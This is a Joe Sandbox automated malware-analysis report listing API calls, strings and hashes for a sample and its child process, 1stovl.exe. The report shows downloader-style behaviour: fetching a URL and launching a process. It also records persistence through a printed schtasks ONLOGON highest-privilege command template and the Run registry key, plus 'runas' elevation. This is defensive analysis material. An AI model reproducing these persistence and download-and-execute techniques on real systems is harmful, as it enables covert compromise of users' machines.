Instruction Fuzzy Hash: 4441A226A0CB11C1EB10BF59F8D2369A374FB89784F9001B6DA8D82765DF3DE554C720

Function 00007FF749E1114B Relevance: 6.1, APIs: 4, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF749E118E4: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF749E11914
Part of subcall function 00007FF749E118E4: GetCurrentProcessId.KERNEL32 ref: 00007FF749E11922
Part of subcall function 00007FF749E118E4: GetCurrentThreadId.KERNEL32 ref: 00007FF749E1192E
Part of subcall function 00007FF749E118E4: GetTickCount.KERNEL32 ref: 00007FF749E1193A
Part of subcall function 00007FF749E118E4: GetTickCount.KERNEL32 ref: 00007FF749E1194A
Part of subcall function 00007FF749E118E4: QueryPerformanceCounter.KERNEL32 ref: 00007FF749E11965

GetStartupInfoW.KERNEL32 ref: 00007FF749E11185
_amsg_exit.MSVCRT ref: 00007FF749E111C0
Sleep.KERNEL32 ref: 00007FF749E111CF
_initterm.MSVCRT ref: 00007FF749E11267
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF749E11294
exit.MSVCRT ref: 00007FF749E11330
_cexit.MSVCRT ref: 00007FF749E1133F

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_inittermexit
String ID:
API String ID: 1267577977-0
Opcode ID: 67f1339d4cfeb4c52d404ce0f2d4713285857e4fe6d3d857e098854071e4ffab
Instruction ID: 90db9574dbe34f6474ab3eae0930a8451ba7b72172bd6235e1c9ad634ebb42f8
Opcode Fuzzy Hash: 67f1339d4cfeb4c52d404ce0f2d4713285857e4fe6d3d857e098854071e4ffab
Instruction Fuzzy Hash: 3E312F23A0C662C6E710BF21E8D2B79A3B0BF55354FD444B5DA4DC36A6DE2EE480D620

Function 00007FF749E1143B Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF749E11453
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF749E11472
RtlVirtualUnwind.KERNEL32 ref: 00007FF749E114BF
__raise_securityfailure.LIBCMT ref: 00007FF749E115A4

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 0495dd60c7ced2f9c3233f3fe49d434584880a05317a0e056b8bda12f970aa15
Instruction ID: f1ee26e50cf8de8be9f502f78962963e382804346c4e0d5f2e17497422b6f187
Opcode Fuzzy Hash: 0495dd60c7ced2f9c3233f3fe49d434584880a05317a0e056b8bda12f970aa15
Instruction Fuzzy Hash: F231D37A60CB51C2EB10AF59F492369B374FB89744F904176DA8D82764DF3DD548C720

Function 00007FF749E164B0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF749E164DA
LoadResource.KERNEL32 ref: 00007FF749E164F1
DialogBoxIndirectParamA.USER32 ref: 00007FF749E16527
FreeResource.KERNEL32 ref: 00007FF749E16539

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: f84731171d3fff93161b8d11559f90ff40e31cde7bbef708dcb137f56a2588f9
Instruction ID: b5f5699a26163d2ec5caadca6abd33a61f63c9f22a7222c07f9ab242c6e01466
Opcode Fuzzy Hash: f84731171d3fff93161b8d11559f90ff40e31cde7bbef708dcb137f56a2588f9
Instruction Fuzzy Hash: 2B111D32A09B51C6EA10AF11F44516AFAB0FB9AFE0F884674DE5D07B99DF3CD5408B10

Function 00007FF749E18914 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF749E12AD5), ref: 00007FF749E18938
CharPrevA.USER32(?,?,00000000,00007FF749E12AD5), ref: 00007FF749E18954
CharPrevA.USER32(?,?,00000000,00007FF749E12AD5), ref: 00007FF749E18978
CharNextA.USER32(?,?,00000000,00007FF749E12AD5), ref: 00007FF749E1898C

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 02f17945edf2851cb969e6e0e4490fbce2b65d3964085eb94fd71e724a66b365
Instruction ID: 22588c8a3d6f41607e73f5f1fcd62ebf3d54f27bee16ef74a254fad956ce30b9
Opcode Fuzzy Hash: 02f17945edf2851cb969e6e0e4490fbce2b65d3964085eb94fd71e724a66b365
Instruction Fuzzy Hash: 5B118D6390C691C5FB117F21A585239EBB1B74AFD0F8852B0DB5E03385DF2CD4428711

Function 00007FF749E115B8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF749E115C3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF749E115E2
RtlVirtualUnwind.KERNEL32 ref: 00007FF749E1162F
__raise_securityfailure.LIBCMT ref: 00007FF749E116A5

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 89b728313985ec8d8bc5760cebbad4f07023fb81a7c1741a44e0131cd2ee41d3
Instruction ID: be8b70a4587ce71553f423d88f584770edb5ae804c698b29128d67fee5a50568
Opcode Fuzzy Hash: 89b728313985ec8d8bc5760cebbad4f07023fb81a7c1741a44e0131cd2ee41d3
Instruction Fuzzy Hash: 1821AE3690CB61C2E700AF46F8C23A9A3B4FB89B44F9001B6DA8D82765DF7DE044C720

Analysis Process: 1stovl.exePID: 1136, Parent PID: 4560COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	1269
Total number of Limit Nodes:	16

Executed Functions

Function 00D01A80 Relevance: 96.8, APIs: 20, Strings: 35, Instructions: 535
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00D01E2D
lstrlenW.KERNEL32(00000000), ref: 00D01E34
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00000000,00000000), ref: 00D01E46
RegCloseKey.ADVAPI32(?), ref: 00D01E4F
GetProcessHeap.KERNEL32(00000008,0000020A,7622F380,00000000,00000000), ref: 00D01E73
HeapAlloc.KERNEL32(00000000), ref: 00D01E76
GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00D01E88
GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00D01EA3
HeapAlloc.KERNEL32(00000000), ref: 00D01EA6
wsprintfW.USER32 ref: 00D0204E
GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00D0205E
HeapAlloc.KERNEL32(00000000), ref: 00D02061
wsprintfW.USER32 ref: 00D02449
ShellExecuteW.SHELL32(00000000,runas,?,?,00000000,00000000), ref: 00D0246A
GetProcessHeap.KERNEL32(00000000,?), ref: 00D02478
HeapFree.KERNEL32(00000000), ref: 00D0247B
GetProcessHeap.KERNEL32(00000000,?), ref: 00D02480
HeapFree.KERNEL32(00000000), ref: 00D02483
GetProcessHeap.KERNEL32(00000000,?), ref: 00D0248D
HeapFree.KERNEL32(00000000), ref: 00D02490

Strings

#, xrefs: 00D02156
;, xrefs: 00D01C05
?, xrefs: 00D01F65
/create /sc ONLOGON /tn "%s" /tr "%s" /RL HIGHEST, xrefs: 00D01C58, 00D01EEF
?, xrefs: 00D0220D
z, xrefs: 00D01F4A
y, xrefs: 00D01F14
", xrefs: 00D02126
L, xrefs: 00D0219E
L, xrefs: 00D0210E
L, xrefs: 00D0216E
i, xrefs: 00D01F80
/c "%s", xrefs: 00D02104
%s\schtasks.exe, xrefs: 00D01AA6
cmd.exe, xrefs: 00D0222A
L, xrefs: 00D021E4
%, xrefs: 00D021FF
l, xrefs: 00D02069
p, xrefs: 00D01F2F
invalid distance code, xrefs: 00D023F0
N, xrefs: 00D021D0
invalid literal/length code, xrefs: 00D02326
$, xrefs: 00D01C77
L, xrefs: 00D020DE
need dictionary, xrefs: 00D0229A
runas, xrefs: 00D02073, 00D02463
I, xrefs: 00D021A8
b, xrefs: 00D01EDE
N, xrefs: 00D021B2
#, xrefs: 00D0213E
$, xrefs: 00D02206
C, xrefs: 00D021BC
L, xrefs: 00D021F8
>, xrefs: 00D021EE
b, xrefs: 00D01EF9

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: Heap$Process$AllocFree$wsprintf$CloseDirectoryExecuteOpenShellSystemValuelstrlen
String ID: "$#$#$$$$$%$%s\schtasks.exe$/c "%s"$/create /sc ONLOGON /tn "%s" /tr "%s" /RL HIGHEST$;$>$?$?$C$I$L$L$L$L$L$L$N$N$b$b$cmd.exe$i$invalid distance code$invalid literal/length code$l$need dictionary$p$runas$y$z
API String ID: 2564131513-3794329617
Opcode ID: ba1f74665f3c39a8e4962ad970428dcdca8af0a817a0271f812d8ad1dd240bc2
Instruction ID: 524219cc4a02cfa65572966251c09b9f0d84bede59a7bd83bed18d8b19865487
Opcode Fuzzy Hash: ba1f74665f3c39a8e4962ad970428dcdca8af0a817a0271f812d8ad1dd240bc2
Instruction Fuzzy Hash: F842F168810369E9C720DFA1E8047F9B7F0FF2D705F419056E988EB660F7784986DB29

Function 00D01420 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 294
memorysleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00D01460
HeapAlloc.KERNEL32(00000000), ref: 00D01463
Sleep.KERNEL32(000003E8), ref: 00D014AD
ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000104), ref: 00D014E3
SHCreateDirectoryExW.SHELL32(00000000,00000000,00000000), ref: 00D014EE
SetFileAttributesW.KERNEL32(00000000,00000002), ref: 00D01506
GetProcessHeap.KERNEL32(00000008,0000020A,00000000,00000000,000000FF,?), ref: 00D015B9
HeapAlloc.KERNEL32(00000000), ref: 00D015BC
PathCombineW.SHLWAPI(00000000,?,?), ref: 00D015D6
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D0160E
HeapFree.KERNEL32(00000000), ref: 00D01611
lstrcatW.KERNEL32(00000000,?), ref: 00D01760
PathFileExistsW.SHLWAPI(00000000), ref: 00D01767
GetCurrentProcess.KERNEL32(00000008,?), ref: 00D01786
OpenProcessToken.ADVAPI32(00000000), ref: 00D0178D
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00D017B0
CloseHandle.KERNEL32(?), ref: 00D017C2

Part of subcall function 00D025B0: InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 00D025E1
Part of subcall function 00D025B0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00D025FB
Part of subcall function 00D025B0: InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00D02644
Part of subcall function 00D025B0: GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 00D0265A
Part of subcall function 00D025B0: RtlAllocateHeap.NTDLL(00000000), ref: 00D0265D
Part of subcall function 00D025B0: GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 00D026AA
Part of subcall function 00D025B0: RtlAllocateHeap.NTDLL(00000000), ref: 00D026AD
Part of subcall function 00D025B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00D026D7
Part of subcall function 00D025B0: RtlFreeHeap.NTDLL(00000000), ref: 00D026DA
Part of subcall function 00D025B0: InternetCloseHandle.WININET(?), ref: 00D026E6
Part of subcall function 00D025B0: InternetCloseHandle.WININET(?), ref: 00D026F3

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000008,00000000,00000000,00000044,?), ref: 00D0181B
CloseHandle.KERNEL32(?), ref: 00D01831
CloseHandle.KERNEL32(?), ref: 00D01839
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00D0183E
HeapFree.KERNEL32(00000000), ref: 00D01841

Strings

05#v, xrefs: 00D01506
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00D0164E
V, xrefs: 00D016C6
.#v, xrefs: 00D017C2, 00D0182B
x, xrefs: 00D0165D
D, xrefs: 00D017EA
K, xrefs: 00D016B1

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: Heap$Process$CloseHandleInternet$FileFreeOpen$AllocAllocateCreatePathToken$AttributesCombineCurrentDirectoryEnvironmentExistsExpandInformationReadSleepStringslstrcat
String ID: 05#v$D$K$Software\Microsoft\Windows\CurrentVersion\Run$V$x$.#v
API String ID: 735815556-1258431390
Opcode ID: d22bb662b86aea84ee82b1434d7864500d2d1b903577352e47c49d6a8186cc21
Instruction ID: 29fb90a30515448a1824d8d96164b9b81873963c5486c9ed494004c22f513dc0
Opcode Fuzzy Hash: d22bb662b86aea84ee82b1434d7864500d2d1b903577352e47c49d6a8186cc21
Instruction Fuzzy Hash: 12C17F74901319ABCB60AFA0DC58BEEB7B4FF08700F548059F549EB290EB749981CF65

Function 00D01000 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 343
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpA.KERNEL32(00000000,?), ref: 00D010A2
GetProcessHeap.KERNEL32(00000008,?), ref: 00D010C7
HeapAlloc.KERNEL32(00000000), ref: 00D010CE
lstrlenA.KERNEL32(M1Zw0w66GQYFi), ref: 00D010EC
GetProcessHeap.KERNEL32(00000008,?), ref: 00D0123C
HeapAlloc.KERNEL32(00000000), ref: 00D01243
GetProcessHeap.KERNEL32(00000008,00000002), ref: 00D01285
HeapAlloc.KERNEL32(00000000), ref: 00D0128C
GetProcessHeap.KERNEL32(00000008,00000047), ref: 00D012E7
HeapAlloc.KERNEL32(00000000), ref: 00D012EE
GetProcessHeap.KERNEL32(00000008,00000047), ref: 00D01333
HeapAlloc.KERNEL32(00000000), ref: 00D0133A
GetProcessHeap.KERNEL32(00000008,00000047), ref: 00D0137F
HeapAlloc.KERNEL32(00000000), ref: 00D01386
GetProcessHeap.KERNEL32(00000008,00000049), ref: 00D013E5
HeapAlloc.KERNEL32(00000000), ref: 00D013EC

Strings

M1Zw0w66GQYFi, xrefs: 00D010E7, 00D0110D

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: Heap$AllocProcess$lstrcmplstrlen
String ID: M1Zw0w66GQYFi
API String ID: 522894340-229323296
Opcode ID: d4929732dd7c280592fad312c72bb562fd8f6d6824cba66d2ef09ee6f37a8878
Instruction ID: 4b797838050024cc8aa65ff5f7f0386edc85e666448a00a7a538643bfe5566db
Opcode Fuzzy Hash: d4929732dd7c280592fad312c72bb562fd8f6d6824cba66d2ef09ee6f37a8878
Instruction Fuzzy Hash: E0D1D475C042559FDB14CFA8C8A46FAFBF4EF19311F1841AAE899D7342D6389905CBB0

Function 00D025B0 Relevance: 19.6, APIs: 13, Instructions: 108
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 00D025E1
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00D025FB
InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00D02644
GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 00D0265A
RtlAllocateHeap.NTDLL(00000000), ref: 00D0265D
GetProcessHeap.KERNEL32(00000000,00000000,0000000100000000), ref: 00D02668
RtlReAllocateHeap.NTDLL(00000000), ref: 00D0266B
GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 00D026AA
RtlAllocateHeap.NTDLL(00000000), ref: 00D026AD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00D026D7
RtlFreeHeap.NTDLL(00000000), ref: 00D026DA
InternetCloseHandle.WININET(?), ref: 00D026E6
InternetCloseHandle.WININET(?), ref: 00D026F3

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: Heap$Internet$Process$Allocate$CloseHandleOpen$FileFreeRead
String ID:
API String ID: 2024103529-0
Opcode ID: 17ba7905b7014aeae2b07a3d643ddbb214e2469cb0377a34fa97c8c3def1d6e9
Instruction ID: 9e43d34272bc888a76ef299cf69e99fa31cecb22ed753e4721dce51585e5333b
Opcode Fuzzy Hash: 17ba7905b7014aeae2b07a3d643ddbb214e2469cb0377a34fa97c8c3def1d6e9
Instruction Fuzzy Hash: CC311A71900229BBDB609B659C59F9ABBBCFF89714F00C1A5B548D2290DE309E85CFB0

Function 00D069E0 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 330
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 00D06C6A
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00D06CFF
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00D06D8F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00D06D96
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00D06DA7

Strings

:, xrefs: 00D06BF6
.#v, xrefs: 00D06D96, 00D06DA7
%s%s, xrefs: 00D06C33
%s%s%s, xrefs: 00D06C15

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: File$CloseHandle$CreateTimeWrite
String ID: %s%s$%s%s%s$:$.#v
API String ID: 3400595745-3451391609
Opcode ID: f007347307c4fb45739feeee151da987197d744710baf61c73a8ce1273b0de18
Instruction ID: 3f20e7dbeaccdbfd2b7037fb2b53548e998ff32b29111d4edec13c1608d09bdf
Opcode Fuzzy Hash: f007347307c4fb45739feeee151da987197d744710baf61c73a8ce1273b0de18
Instruction Fuzzy Hash: 35B1B471A006159BDB34EF24DC85BAAB7B4EF04310F14466DE95E972C1EB70E9A4CBB0

Function 00D06830 Relevance: 6.2, APIs: 4, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 00D068B7
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000000), ref: 00D068CB
GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 00D069A7
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000000), ref: 00D069BB

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 7f8ab85d1560ab4204225c3894356d0b6a23de998a14a04ea8079c0fecc59ef1
Instruction ID: 9fafe9087d2631fe547a015bed2caffddbf79b5eac4f9e571ed19b1db044c421
Opcode Fuzzy Hash: 7f8ab85d1560ab4204225c3894356d0b6a23de998a14a04ea8079c0fecc59ef1
Instruction Fuzzy Hash: 2F51C8719002185BCB20DF78D895BEAB3A8EF44310F148669E91DD72C1EB31DE65CBB4

Function 00D02710 Relevance: 4.6, APIs: 3, Instructions: 53
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D01000: lstrcmpA.KERNEL32(00000000,?), ref: 00D010A2
Part of subcall function 00D01000: GetProcessHeap.KERNEL32(00000008,?), ref: 00D010C7
Part of subcall function 00D01000: HeapAlloc.KERNEL32(00000000), ref: 00D010CE
Part of subcall function 00D01000: lstrlenA.KERNEL32(M1Zw0w66GQYFi), ref: 00D010EC

CreateMutexW.KERNEL32(00000000,00000000,?), ref: 00D02731
GetLastError.KERNEL32 ref: 00D02737
ExitProcess.KERNEL32 ref: 00D0277F

Part of subcall function 00D024B0: GetCurrentProcess.KERNEL32(00000008,?), ref: 00D024CC
Part of subcall function 00D024B0: OpenProcessToken.ADVAPI32(00000000), ref: 00D024D3
Part of subcall function 00D024B0: GetTokenInformation.ADVAPI32(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00D024F3
Part of subcall function 00D024B0: CloseHandle.KERNEL32(?), ref: 00D02502

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: Process$HeapToken$AllocCloseCreateCurrentErrorExitHandleInformationLastMutexOpenlstrcmplstrlen
String ID:
API String ID: 2480484397-0
Opcode ID: 10d03bed78fe400c874549767ddd4666ae7ea68c1637cae68bed42101f4f75f6
Instruction ID: cf2187cc7dd1d35a9f74d77c7efccd65db2f09406f88bbe1022cdd12d26c8eea
Opcode Fuzzy Hash: 10d03bed78fe400c874549767ddd4666ae7ea68c1637cae68bed42101f4f75f6
Instruction Fuzzy Hash: 5001A230109301ABDB14AB50DC1D77DB7A1EF84341F048928F998811E0EB708954C6B3

Function 00D0DC7F Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,00D0718C,00000000,?,00D06E07,0000044C,B037FBD5,7622F380,00000000,00000000,000000FF,?,00D014D5), ref: 00D0DCB1

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4592c98e0e8e234b2476dadca462d117156dd1fa24aea01d3b38bfeae4e03837
Instruction ID: ef9450c7b6b089cc3f0fdf16d5629822ad942d686cc30483fe4f7453f1a229c1
Opcode Fuzzy Hash: 4592c98e0e8e234b2476dadca462d117156dd1fa24aea01d3b38bfeae4e03837
